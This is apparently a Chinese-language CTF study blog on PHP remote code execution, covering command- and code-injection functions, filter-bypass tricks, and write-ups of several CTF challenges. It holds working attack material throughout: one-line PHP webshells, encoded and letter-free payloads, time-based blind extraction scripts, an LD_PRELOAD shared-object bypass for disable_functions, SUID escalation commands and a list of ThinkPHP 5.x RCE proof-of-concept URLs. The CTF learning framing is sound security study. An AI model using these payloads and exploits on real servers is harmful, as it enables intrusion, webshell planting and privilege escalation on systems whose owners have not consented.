从最近的xyctf中，最大的感受就是自己的rce基础并不牢固，所以马上来恶补一下
漏洞成因
php和其他语言有很多能够执行系统命令或执行其他php代码的函数，因为开发者的使用不当，使得用户能够控制传递给执行命令的函数的参数，那么就用可能被用来执行恶意命令，接下来的学习以ctf中最常用的php来学习
利用方法
命令注入
执行系统命令的函数和方法
执行的结果都是以字符串返回，执行失败返回空，区别是能不能直接回显
| 函数 | 描述 |
|---|---|
| system($cmd) | 可以直接回显 |
| shell_exec($cmd) | 不直接回显，配合echo等才能看到结果 |
| passthru($cmd) | 可直接回显 |
| exec($cmd) | 不能直接回显，配合echo等才能看到结果 |
| `$cmd`（shell_exec的变种） | 系统命令用反引号包裹，也能执行，不能直接回显 |
linux也通过echo ，输入输出重定向，来写入一句话木马
代码注入
利用一些php函数来执行系统命令
1.eval
rce中最常用的函数，将php代码以字符串形式传入，显示执行结果，代码结束要加;
2.preg_replace()
preg_replace(‘正则规则’,‘要替换的字符’，‘目标字符’)
正则规则中使用\e修饰符，php会被后面要替换的字符当作php代码执行, 如：
php7的匹配正则模式不能由get传入，但php5可以
3.create_function()
如图，create_function()可以创建动态函数，$args是参数，$code具体动态函数的要执行的代码，用eval执行，所以完全可以拿来写一句话
<?PHP $func=create_function('',$_POST['cmd']);$func();?>
4.call_user_func
!
5.call_user_func_array
用法同call_user_func，只是后面传的参数要是数组
6.array_map
array_map( c a l l b a c k , callback, callback,array)，对传入的array数组的每个元素，应用传入的$callback回调函数
7.array_filter
array_filter( a r r a y , array, array,callback)，对 a r r a y 数组用 array数组用 array数组用callback函数过滤掉一些元素，用法与array_map相近，只是参数顺序相反
8.popen
#利用方式
$handle=popen('ls','r');echo fread($handle,2096);
9.proc_open
用popen的升级版，用起来比popen稍微复杂，将命令作为单独的进程执行，并控制其输入、输出和错误管道
#原始
// 要执行的命令
$test = "whoami";
// 用于设置进程管道的数组
$array = array(
array("pipe", "r"), // 标准输入管道
array("pipe", "w"), // 标准输出管道
array("pipe", "w") // 标准错误输出管道
);
// 执行命令并创建进程
$fp = proc_open($test, $array, $pipes);
// 从标准输出管道中读取数据并打印
echo stream_get_contents($pipes[1]);
// 关闭进程
proc_close($fp);
#压缩去掉换行
$test="whoami";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($test,$array,$pipes);echo stream_get_contents($pipes[1]);proc_close($fp);
命令注入绕过
题目的重点都是如何绕过过滤
过滤命令关键字
其他命令平替
1.使用其他查看文件的命令绕过，比如过滤cat
常见平替：
tac,less,more,nl,head,tail
还有其他命令可以读取文件：
| 命令 | 描述 |
|---|---|
| vim ,vi /flag | 编辑器 后跟文件，也能显示出内容 |
| od -c 或 -a /flag | 读取二进制数据，加-a或-c，就会输出常见字符 |
| sort，unqiue /flag | 排序去重命令都会显示文件内容 |
| file -f ,date -f , dig -f /flag | 利用报错读出文件内容 |
| sh /flag 2>%261 | 也是利用报错，但是要把错误输出重定向到标准输出流，如果get传输要url编码& |
| strings /flag | strings 读取二进制文件中的可打印字符 |
| rev /flag | 逆序输出 |
| paste /flag | paste用于合并文件内容，只有一个文件也可以 |
| diff /flag /etc/passwd | diff用于比较文本内容，会显示各个文本的内容，需要一个已知文件 |
单用base64 /flag，也可以得到flag
date 是查看时间的命令，但是date -f 可以利用它的报错信息读取文件，
dig -f 也可以
!
但是在php的system中，date-f读不出来，但是 dig -f可以
过滤ls
dir在ubuntu也可以扫描目录，但在其他环境可能报 command not found
无效转义
在命令的字符中添加' " \ $@，不影响命令的执行，单双引号要加两个
·
编码
1.十六进制编码
用xxd工具，xxd有两个选项，-r可以把十六进制数据转为二进制，-p则是以 postscript plain hexdump 风格（易于阅读和打印）输出数据，配合管道符传递给shell，就可以执行命令
echo 636174202f666c6167 | xxd -r -p|bash
或者用shell的内联执行
$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')
2.八进制编码
$(printf '\143\141\164\040\057\146\154\141\147')
$(echo '\143\141\164\040\057\146\154\141\147')
3.base64编码，32也行，配合管道符
echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "MNQXIIBPMZWGCZY="|base32 -d|bash
echo 'ZWNobyAnPD89QGV2YWwoJF9QT1NUW2NtZF0pPz4nID4gc2hlbGwucGhw'|base64 -d|bash #写入一句话
变量引用
把要执行的命令都每个单词从，拆开几个部分用一个变量定义，使用时拼接在一起
a=l;b=s;c=/;$a$b $c ->ls /
a=ca;b=t;c=/fl;d=ag;$a$b $c$d ->cat /flag
很明显这个方法;不能被过滤
过滤关键文件名
使用通配符
具体例子使用可上网搜索
-
*，匹配一个或多个字符 ，如：
cat /f* -
?，匹配一个字符，如：
cat /fla? -
[…] ,匹配指定范围内的字符，如：
cat /[e-g][k-m]?[e-h] 或/[e-g][k-m][0-b][e-h]，[@-z]匹配所有字母，有时a被过滤可用
过滤空格
${IFS}
${IFS}绕过，${IFS}在linux的环境变量中代表空格 如cat${IFS}/flag
重定向
如cat</flag
!
%09
%09就是制表符，url解码后传给php就和空格差不多，如：cat%09/flag
过滤/
逻辑符号拼接命令
有一些题目是代码本身会执行一些正常的命令（如ping），这时我们可以利用逻辑符号在后面拼接我们注入的命令
linux命令中，逻辑符号的作用如下：
cmd1 & cmd2：两个命令同时在后台执行,前面的是否执行成功不影响后续命令执行
cmd1 && cmd2：按顺序先后执行命令，输出结果，前面的失败后面也无法执行
cmd1 | cmd2：| 是管道符，用于把前面命令的结果作为变量输入到后面的命令，如果后面命令用不到，且正常执行不报错
那就正常执行后面的命令，如：
前面的执行失败不影响后面执行
cmd1 || cmd2：前面的命令执行失败才会执行后面的命令，否则后面的命令不执行
cmd1;cmd2：顺序执行命令
过滤了/，就可以用命令连接符号，多次cd跳转到根目录执行操作
cd ..;cd ..;cd ..;ls
或
cd ..%26%26cd ..%26%26cd ..%26%26ls
截取环境变量
没有过滤 $ {}时可以使用
$HOME 环境变量 就是/用户名，截取第一个就是/
$0可以表示bash
代码注入相关绕过
过滤system
如果是代码注入且过滤了system，可以尝试：
其他函数
使用其他可以执行命令的函数如：passthru，shell_exec，但是没有回显，配合echo,print,var_dump使用
或者使用php内置的扫描目录和读取文件的函数。如：
扫描目录：scandir
读取文件：file_get_contents , readfile , file ，highlight_file , show_source，
读取文件最后两个函数不用var_dump，其余都要
拼接执行
如：
(s.y.s.t.e.m)("whoami");
(s.y.s.t.e.m)('whoami');
php7才可以
编码
可以把php的函数名用八进制或十六进制编码，php7可以,动态执行函数
"\x73\x79\x73\x74\x65\x6d"("\x6c\x73"); -> system('ls')
"\163\171\163\164\145\155"("\154\163"); -> system('ls')
进制字符串要用双引号包裹，双引号中如果有变量，会解析变量，而单引号中不管是否有变量，都当作字符串
或者hex2bin
hex2bin('73797374656d')(hex2bin('636174202f666c6167')); #system('cat /flag')
过滤引号
可以用参数逃逸，这个方法也能用在过滤很多关键字的情况，如
?a=system($_GET[b]);&b=cat /flag
?a=$_GET[b]($_GET[c]);&b=system&c=cat /flag
使用反引号，如
?a=echo `ls`;
无数字字母
如果题目过滤了常规的数字和字母，就要使用其他一些运算方法，在执行php代码前先进行一定运算，
把一些不可见字符的二进制数据，通过一些数学运算，算出字母和数字，再执行
异或
使用大佬的两个配套脚本，如：
<?php
// 打开一个文件用于写入，如果文件不存在则创建该文件
$myfile=fopen("xor_rce.txt","w");
// 初始化一个空字符串，用于存储生成的结果
$contents="";
// 循环遍历 0 到 255 的所有可能的字节值
for($i=0;$i<256;$i++){
for($j=0;$j<256;$j++){
// 如果字节值小于 16，则将其转换为两位十六进制数，以便于 URL 编码
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
// 定义用于匹配不允许的字符的正则表达式
$preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; // 根据题目给的正则表达式修改即可
// 使用 URL 解码将十六进制转换为ascii码，然后检查是否存在不允许的字符
if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){
echo ""; // 如果存在不允许的字符，则不做任何操作
}
else{
//
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
// 如果异或结果是可见字符，则将其的url编码，添加到结果字符串中
if(ord($c)>=32&ord($c)<=126){
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
// 将结果字符串写入到文件中
fwrite($myfile,$contents);
// 关闭文件句柄
fclose($myfile);
?>
两个ascii字符，分别0-255，进行异或运算，如果结果是可见字符且不符合设定的正则，添加这两个字符的url编码到文件字符中，
这样一来，就可以把可见字符，用两个不可见字符的异或来表示，如
当然，大佬还写了利用这个文件，生成payload的脚本
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
# print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function: "))+action(input("[+] your command: "))+";"
print('\n',param)
运行结果：
所以payload即为
?a=("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%0c%0c%00%00"^"%60%7f%20%2f");
取反
利用取反运算，这个可以不用大佬脚本，自己随便弄一下都行，如：
<?php
$php_code='system';
$cmd='ls /';
$arr=array($php_code,$cmd);
$res="(~".urlencode(~$php_code).")(~".urlencode(~$cmd).");";
echo $res;
#结果
%8F%97%8F%96%91%99%90
//phpinfo()->payload:
?a=(~%8F%97%8F%96%91%99%90)();
//system('ls /');->payload:
?a=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
如果是post传参，用hackbar传过去url解码有问题，用bp就可以
自增
在 PHP 中，对一个字母型变量执行自增运算时，会将该字母转换为其 ASCII 码值，执行自增运算后再将结果转换回字母。具体来说，字母型变量的自增运算实际上是对其 ASCII 码值加一，然后将结果转换回字母。如：
我们可以通过不断的自增来获得想要的字符，eval可以执行php代码，把自增的代码传进去，得到想要的字符后，最后构造出能rce的样子
但是这是无数字字母，php代码中也不能含有字母，所以我们的自增起点要稍微变一下，如：
将空数组和字符串拼接时，php会把空数组转为字符串Array再去拼接，取出下标为0的字符，就是A，这里不能直接用0，而是用一个表达式''=='$'，值为假，就会返回0，从而取到了字母A
然后开始自增，获得其他字母，得到$_GET或$_POST,大佬脚本如下：
$_GET
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
$_='_'.$_;//_GET
var_dump($_);
#$res="$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);"
?>
代码中
经
过两次自增和拼接，变为
‘
_经过两次自增和拼接，变为`
经过两次自增和拼接，变为‘_GET,所以最后可以利用的代码变为
G
E
T
[
]
(
_GET[_](
GET[](GET[__]);,,__`传入payload即可
要把原始代码去掉换行，再url编码一下，最终payload
%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27%27%3D%3D%27%24%27%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D%27_%27.%24_%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=ls /
无字母
其实就是利用八进制编码，这样构造的payload没有字母，由于我本地php测试总是失败，用一道题目来测试
源码：
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
这题只允许白名单，白名单里只有数字，和一些特殊的字符,$,\,'，很明显就是要八进制编码
$'\154\163' #ls
但是这样执行的命令无法加参数，要读取flag需要用到<,类似cat /flag
$'\143\141\164'<$'\057\146\154\141\147'
这方面的详细知识可以看这篇大佬的文章：https://xz.aliyun.com/t/12242
无回显
如果用exec，这类没有回显的函数，可以考虑写一句话或者 ，把命令结果重定向或写入文件中
有写入权限
写入一句话木马，用到重定向符号：>
?a=echo%20%27<?%3Deval($_POST[cmd])?>%27%20>shell.php
tee 命令结果写入文件
要用到管道符：|
cat /flag | tee a
然后再去访问a即可，
无写入权限
可以尝试bash时间盲注 需要到：|
awk截取第一行内容：cat /flag | awk ==1
cut 截取第一列内容cat /flag | awk NR==1 | cut -c 1
不过一般题目中flag文件一般都只有一行，awk 可以省略，当然如果flag.php就不能省略了
获取文件的文本长度，行数
awk 'NR==1 { print length($0); exit }' /flag #获取第一行的文本长度
awk 'END {print NR}' /flag #获取行数
结合 if ，sleep，实现时间延时
?a=if [ `cat /flag | awk NR==1 | cut -c 1` = 'F' ];then sleep 2;fi
做了足够的铺垫后，就应该写脚本了，主要语句：
if [ `28= ls /| awk 'END{print NR}'` ];then sleep 2;fi #猜文件数量
if [ `ls / | awk 'NR==1 {print}'` = 1 ]; then sleep 2; fi #猜每个文件的文件名长度
if [ `ls / | awk NR==1 | cut -c 1` = "b" ]; then sleep 2;fi #猜根目录下的文件目录名
if [ `cat /flag_is_he3re|cut -c 1`=F ]; then sleep 2;fi #猜字符
完整脚本
mport requests
import string
import time
import urllib.parse as up
str_list = string.ascii_letters + string.digits + '[{}.@-_=]'
url='http://192.168.184.200/rce/play.php?a='
def condition(url):
start=time.time()
res=requests.get(url,timeout=3)
end=time.time()
if int(end-start)>=2:
return True
return False
def check_flag(filename):
#发现可能的flag文件
checks=['f','l','a','g']
for che in checks:
if che not in filename:
return False
return True
def try_flag(catalog='/'):
#获取有多少个文件
file_nums=0
for i in range(1,50):
get_nums_cmd="if [ `ls {} | awk 'END{{print NR}}')` = {} ]; then sleep 2; fi".format(catalog,i)
print(get_nums_cmd)
if condition(url+up.quote(get_nums_cmd)):
file_nums=i
print(f'有{file_nums}个文件')
break
filenames_list=[]
run=''
tar=''
#获取文件名长度，然后猜文件名
for i in range(1,file_nums+1):
len=0
name=''
for k in range(1,50):
get_filelen_cmd='if [ `ls {} | awk \'NR=={} {{print length}}\'` = {} ]; then sleep 2; fi'.format(catalog,i,k)
if condition(url+up.quote(get_filelen_cmd)):
len=k
print(f'第{i}个文件名字长度为{len}')
break
for j in range(1,len+1):
for k in str_list:
get_filename_cmd='if [ `ls {} | awk NR=={} | cut -c {}` = "{}" ]; then sleep 2;fi'.format(catalog,i,j,k)
if condition(url+up.quote(get_filename_cmd)):
name+=k
print(name)
break
filenames_list.append(name)
if check_flag(name):
run=input(f'疑似发现了flag文件,{name}是否继续？c->继续，其他放弃')
if run =='c':
continue
else:
tar=name
break
print(f"确认发现了flag文件：{tar}，开始查找")
flag_len=0
flag=''
#发现了flag之后，就猜flag
for i in range(1,70):
get_flaglen_cmd='if [ `cat {}{}| awk \'{{print length}}\'` = {} ]; then sleep 2;fi'.format(catalog,tar,i)
if condition(url+up.quote(get_flaglen_cmd)):
flag_len=i
print(f"{tar}文件字符数为{i}")
for i in range(1,flag_len+1):
for k in str_list:
get_flag_cmd='if [ `cat {}{}|cut -c {}` = {} ]; then sleep 2;fi'.format(catalog,tar,i,k)
if condition(url+up.quote(get_flag_cmd)):
flag+=k
print(flag)
try_flag()
还可以cp复制或者mv移动，把flag搞到网站目录，再访问得flag
disable_function限制
这种情况是有了webshell后，但是无法正常执行命令
当php.ini把很多能执行命令的函数都设置进了disable_function，此时如果直接执行，是执行不了的，如
一种思路就是找漏网之鱼，看能不能利用没被ban的函数，另一种就是利用LD_PRELOAD环境变量加载恶意so文件，这里主要学习后者
这个主要也是利用大佬的脚本，https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD，原理的讲解也在里面，很详细，这里主要记录自己的对这个方法的一些浅薄理解
当运行可执行文件时，操作系统的动态链接器会负责加载并链接需要的共享对象文件(.so文件)，找到要用到的系统底层函数，解析符号引用，加载到内存中，使得程序能够正常执行。
而linux系统环境变量$LD_PRELOAD可以设置优先加载的so文件，如果能设置为我们控制的so文件，其中包含了我们自己实现的恶意同名底层函数，linux要执行该函数时，会去so文件寻找，而我们的so文件由于$LD_PRELOAD被优先加载，其中就有被重写过的同名函数，于是跳过了正常的系统函数,执行我们的恶意函数，这个被利用的函数通常是getuid()：不需要传入变量，返回值简单
就算有了恶意so文件，但是怎么触发getuid()呢，常规的执行系统命令的函数被ban，需要寻找别的方法启动新的进程调用，大佬找到是mail()函数，mail()会调用 /usr/sbin/sendmail,它会调用getuid()
但是sendmail是一个邮件传输代理工具，不是自带的，目标环境不一定安装或者有可能被禁用，所以大佬说劫持getuid并不是最好的选择，但是这个劫持的思路是我值得学习的
大佬想到了另一种方式，不拘泥于具体的底层方法，想办法让恶意so在被加载时就能rce，代码如下：
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
__attribute__((constructor)) 是 C 和 C++ 语言中的一个编译器扩展，用于指定一个函数作为程序启动时的构造函数，即在程序运行之前（在main()之前）自动执行该函数。若它出现在共享对象中时，那么一旦共享对象被系统加载，该函数就会被执行
函数会从环境变量中读取命令，然后执行，php恰好有个方法putenv()可以加入自定义的环境变量
大佬的php利用脚本
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
代码中，通过putenv加入EVIL_CMDLINE环境变量为我们rce代码，用于so文件执行，设置LD_PRELOAD变量为我们上传的so文件路径，我们要在目标php文件中包含这个php，并传入cmd—>命令，outpath—>命令结果保存文件路径 ，sopath—>so文件路径，php执行mail函数时，sendmail子程序就会优先链接我们的恶意so，从而执行命令
在我的实验环境中，蚁剑连接?a=$func=create_function('',$_POST['cmd']);$func();，连接后，果然不能执行命令，
尝试把php，so文件上传到靶机的有上传权限的目录，这里我选择/tmp，
上传成功，在目标php中，传如下payload：
?a=include('/tmp/db_bypass.php');&cmd=cat /flag &outpath=/tmp/a.txt&sopath=/tmp/bypass_disablefunc_x64.so
实验成功
其他知识点
suid提权
参考大佬文章学习：https://tttang.com/archive/1793/
SUID 是 Unix/Linux 系统中的一种特殊权限设置，全称为 Set User ID。当一个可执行文件拥有 SUID 权限时，当普通用户执行该文件时，该文件的有效用户 ID 会被临时设置为文件所有者的用户 ID，而不是执行者的用户 ID。
简单来说，SUID 权限允许普通用户以文件所有者的权限来执行该文件，即使普通用户本身没有对应的权限
suid权限就是执行权限的特殊设置，例如
chmod u+s filename #增加suid权限
chmod u-s filename #去除suid权限
这里把flag文件设为 700，现在无法直接查看
这时要利用有suid root 权限的二进制文件，执行这些文件，可以以文件所有者即root的权限运行，利用这些查看flag
find / -user root -perm -4000 -print 2>/dev/null
find / 从根目录开始查找
-user root 属于root用户
-perm -4000 设置了suid权限
-print 打印匹配到文件路径
2>/dev/null 把错误输出重定向到/dev/null /dev/null不会显示任何输入的信息，加上就相当于不打印报错信息
不加的话会有很多 permission denied 的报错，影响观察
正常来说，常用的命令一般都没有suid权限，题目如果考察这个知识点，也会给某个命令加上，我这里给cp ，find加上了，
通过cp读取flag
cp /flag /dev/stdout
/dev/stdout 标准输出，把文件复制到这里就相当于在终端输出该文件的内容
通过find执行系统命令
/usr/bin/find /flag -exec cat /flag \;
所以稍微总结一下，如果有suid权限，可以执行shell或读取flag的二进制文件,前提是拿到了一个shell
nmap（2.0-5.21）
nmap --interactive
之后执行:
nmap> !sh
sh-3.2# whoami
root
//这是真正意义上的提权，进入到了root用户的shell
time
time cat /flag # time 后跟命令可执行
vim
vim ，vi，命令模式也可以执行系统命令
less more
less,more读取较大文件时，会进去翻页模式，可以用!shell执行shell命令
more执行命令不会退出翻页，less会
awk
awk可以用来执行系统命令
awk 'BEGIN { system("ls -l") }'
dmesg
dmesg -H 以易读格式输出内核环形缓冲区，也是可以!+shell执行命令
env
env用于输出环境变量，后面也是可以跟命令来执行，如env ls
flock
是Linux 的文件锁命令,也能用来执行系统命令：flock -u / whoami
ionice nice
前者设置程序的IO调度与优先级，后者修改程序的优先级，都用可以用来执行命令，
ionice whoami nice whoami
strace
strace -o /dev/null ls
其他命令，如date，paste，等用来平替cat的命令有suid权限，利用它们读取flag
thinkphp rce利用
主要是要知道对应的thinkphp版本，然后使用对应的poc
网上找的一些poc
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5.1.*
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
thinkphp 5.0.23（完整版）debug模式
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
thinkphp 5.0.23(完整版)
33、（post）public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
# filter[]是要执行的php函数， server[REQUEST_METHOD]是给该函数的参数
thhinkphp 5.0.10（完整版）
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
要知道版本，可以通过输入?s=1，产生报错，通过报错信息得到版本信息
题目实战
[NewStar2023]So Baby RCE
源码：
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
过滤了很多命令，主要是过滤了目录分割符/，没有过滤cd，..，那就用cd 和&&跳转到根目录，然后ls，用${IFS}绕过空格，payload如下：
cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}ls
过滤了fl，可以用f???来绕过，也可以添加$@来绕过关键字，这里我用paste查看文件吧，payload：
cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}paste${IFS}f????????????????
查阅网上资料时还发现可以curl 下载 一句话木马，不过需要公网的vps
极客大挑战 RCE me
题目源码：
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
很明显是无数字字母rce，可以异或或取反，这是使用异或
?code=("%0c%08%0c%09%0e%06%0f"^"%7c%60%7c%60%60%60%60")(); #phpinfo()
本来想直接用system查看，但是失败，感觉可能是被禁了，再来看phpinfo
发现禁用了很多系统函数，assert没被禁，那就assert(eval($_POST[a]));，不能直接eval(eval($_POST[a]))
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);
连接成功，由于disable_function的限制，命令用不了，传so文件和对应的php上去，跟实验步骤一样即可
code继续assert(eval($_POST[a]))
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);;&cmd=ls / &outpath=/tmp/a.txt&sopath=/tmp/bypass_disablefunc_x64.so
post:
a=include('/tmp/db_bypass.php')
# code: assert(include('/tmp/db_bypass.php'))
发现有readflag程序，直接运行
NewStar2023 R!!!C!!!E!!!
源码
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
是exec无回显，那就要考虑写入或者盲注了
尝试了一下，tee写入，发现是可以的，单引号绕过关键字过滤即可，exp：
<?php
class minipop{
public $code="ls /|te''e /var/www/html/a";
public $qwejaskdjnlka;
public function __toString()
{
}
public function __destruct()
{
}
}
$a=new minipop();
$a->qwejaskdjnlka=$a;
echo serialize($a);
# O:7:"minipop":2:{s:4:"code";s:26:"ls /|te''e /var/www/html/a";s:13:"qwejaskdjnlka";r:1;}
发现了flag，直接查看
后面看了官方wp，发现预期解是bash盲注，于是我尝试写脚本 ，过滤了{},原来的脚本用不了，把命令改为用sed 实现，三剑客看来真的要再去复习一下
脚本：
import requests
import string
import time
import urllib.parse as up
str_list = string.ascii_letters + string.digits + '{[.@-_=]}'
url='http://b70d0e66-be37-4788-80fd-49d791990778.node5.buuoj.cn:81/'
def condition(url,data):
time.sleep(0.5)
start=time.time()
res=requests.post(url,timeout=3,data=data)
end=time.time()
if int(end-start)>=2:
return True
return False
def try_flag(catalog='/'):
#查找含有flag的flag文件名长度
flag_len=14
base_payload = 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'
data={
'payload':''
}
flag_name=''
flag=''
#获取长度，题目过滤了.*,只好匹配flag整体
for i in range(1,30):
get_len_cmd='if [ `ls {} | sed -n \'/flag/p\' | cut -c 1-|wc -m` = {} ];then sleep 2;fi'.format(catalog,i)
get_len_payload=base_payload.format((len(get_len_cmd)),get_len_cmd)
data['payload']=get_len_payload
if condition(url,data):
flag_len=i
print(f"长度为{i}")
for i in range(1,flag_len):
for k in str_list:
get_flagname_cmd='if [ `ls {} | sed -n \'/flag/p\' | cut -c {}` = {} ];then sleep 2;fi'.format(catalog,i,k)
get_flagname_payload=base_payload.format((len(get_flagname_cmd)),get_flagname_cmd)
data['payload']=get_flagname_payload
if condition(url,data):
flag_name+=k
print(flag_name)
print(f"发现了flag: {flag_name}")
#获取内容
for i in range(1,70):
for k in str_list:
get_flag_cmd='if [ `cat {}{} | cut -c {}` = {} ];then sleep 2;fi'.format(catalog,flag_name,i,(k))
# print(get_flag_cmd)
get_flag_payload=base_payload.format(len(get_flag_cmd),get_flag_cmd)
data['payload']=get_flag_payload
if condition(url,data):
flag+=k
print(flag)
try_flag()
# print(str_list)
省略了获取flag文件内容字符的过程，直接1到70，只要前面的能爆出来就ok，不影响
访问太多，容易报错，而且不知道为啥 {}没有盲出来
